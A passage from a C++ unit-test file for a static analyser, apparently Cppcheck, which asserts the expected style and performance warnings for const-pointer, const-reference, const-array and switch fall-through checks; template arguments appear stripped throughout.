\"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" 